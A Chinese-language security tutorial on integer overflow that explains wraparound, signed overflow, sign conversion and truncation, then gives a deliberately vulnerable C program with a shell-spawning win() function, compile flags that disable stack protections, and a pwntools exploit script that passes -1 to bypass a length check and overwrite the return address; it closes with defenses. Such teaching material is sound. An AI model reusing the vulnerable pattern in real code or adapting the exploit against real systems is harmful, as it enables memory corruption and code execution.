整数溢出(Integer Overflow)是指整数运算结果超出了对应类型能够表示的范围,导致数值回绕、截断或符号解释错误。它本身不一定直接劫持控制流,但经常会破坏长度检查、内存分配和边界判断,最终引出栈溢出、堆溢出或越界读写。
原理
计算机中的整数通常以固定宽度保存,例如 8 位、16 位、32 位或 64 位。当运算结果超过该宽度时,多余的高位会被截断。
以 8 位无符号整数为例:
255 + 1 = 0
0 - 1 = 255
这种回绕在底层是自然发生的,但如果程序把回绕后的值继续用于长度、索引或内存大小,就可能产生漏洞。
常见类型
无符号整数回绕
无符号整数超过最大值后会按模数回绕:
unsigned int x = 0xffffffff;
x = x + 1; // x == 0
如果 x + 1 被用于 malloc 大小,程序可能分配出比预期小得多的内存。
有符号整数溢出
有符号整数溢出在 C/C++ 中属于未定义行为,编译器可能基于“不会溢出”的假设进行优化,导致检查逻辑被绕过。
int x = 0x7fffffff;
x = x + 1; // 未定义行为
符号转换问题
负数转换成无符号整数时会变成很大的正数:
int len = -1;
size_t size = len; // 64 位下通常变为 0xffffffffffffffff
如果检查只判断 len < 128,但后续把它传给需要 size_t 的函数,就可能造成超长读写。
整数截断
大整数赋值给小类型时,高位会被截断:
unsigned int len = 0x1234;
unsigned char small = len; // small == 0x34
如果检查使用截断后的值,实际拷贝使用原始值,也可能出现边界检查不一致。
漏洞代码
下面的例子展示了符号转换导致的长度检查绕过:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void win(void) {
system("/bin/sh");
}
void vuln(void) {
char buf[64];
int len;
puts("Length:");
scanf("%d", &len);
if (len < 64) {
puts("Input:");
read(0, buf, len); // read 的第三个参数是 size_t,负数会被转换成超大正数
} else {
puts("too large");
}
}
int main(void) {
vuln();
return 0;
}
输入 -1 时,len < 64 成立,但 read 接收的是无符号长度,-1 会被转换成非常大的 size_t,最终导致栈溢出。
编译方式
为了观察漏洞效果,可以先关闭 Canary 和 PIE:
gcc source.c -o int_overflow_demo -fno-stack-protector -no-pie
查看保护:
checksec ./int_overflow_demo
编译器可能对有符号整数溢出做激进优化。分析真实程序时要注意编译选项和优化等级,必要时对比 -O0 与 -O2 下的反汇编差异。
攻击思路
整数溢出通常是“前置漏洞”,它的利用目标不是溢出整数本身,而是让后续内存操作进入错误状态。
常见利用链:
- 找到长度、数量、索引相关的整数变量
- 观察检查逻辑和使用逻辑是否使用了不同类型或不同表达式
- 构造极大值、负数或边界值触发回绕/截断
- 让程序分配过小缓冲区,或让读写长度变得异常大
- 将漏洞转化为栈溢出、堆溢出、越界读写或信息泄露
重点关注这些代码模式:
malloc(count * sizeof(item));
malloc(len + 1);
if (len < sizeof(buf)) read(0, buf, len);
if ((short)len < 128) memcpy(buf, src, len);
Exploit 示例
针对上面的示例程序,可以输入 -1 绕过检查,然后发送超长 payload 覆盖返回地址:
#!/usr/bin/env python3
from pwn import *
exe = ELF("./int_overflow_demo")
context.binary = exe
def main():
p = process(exe.path)
offset = 72 # 需要通过 cyclic/gdb 实际确认
ret_addr = 0x40101a
win_addr = exe.sym.get("win", 0x401176)
payload = flat([
b"A" * offset,
ret_addr,
win_addr,
])
p.recvuntil(b"Length:\n")
p.sendline(b"-1")
p.recvuntil(b"Input:\n")
p.send(payload)
p.interactive()
if __name__ == "__main__":
main()
这个脚本的关键点不是 -1 本身,而是利用负数到 size_t 的隐式转换,让原本看似安全的长度检查失效。
常见问题
整数溢出一定能拿 shell 吗?
不一定。整数溢出通常只是让长度、大小或索引异常,后续还需要存在可利用的内存读写路径。
为什么 len < 64 不能防住负数?
因为负数当然小于 64。若后续函数参数类型是 size_t,负数会被隐式转换成很大的无符号整数。
为什么 malloc(count * size) 危险?
如果乘法结果溢出,程序会分配比预期小的内存,但后续仍按原始 count 写入元素,造成堆溢出。
如何防御?
- 对长度使用统一的无符号类型,并显式限制上界
- 做加法、乘法前先检查是否会超过最大值
- 避免把负数传给
read、memcpy、malloc等使用size_t的函数 - 使用带溢出检查的编译器内建函数,如
__builtin_add_overflow、__builtin_mul_overflow - 开启 Sanitizer 辅助测试,如
-fsanitize=undefined,address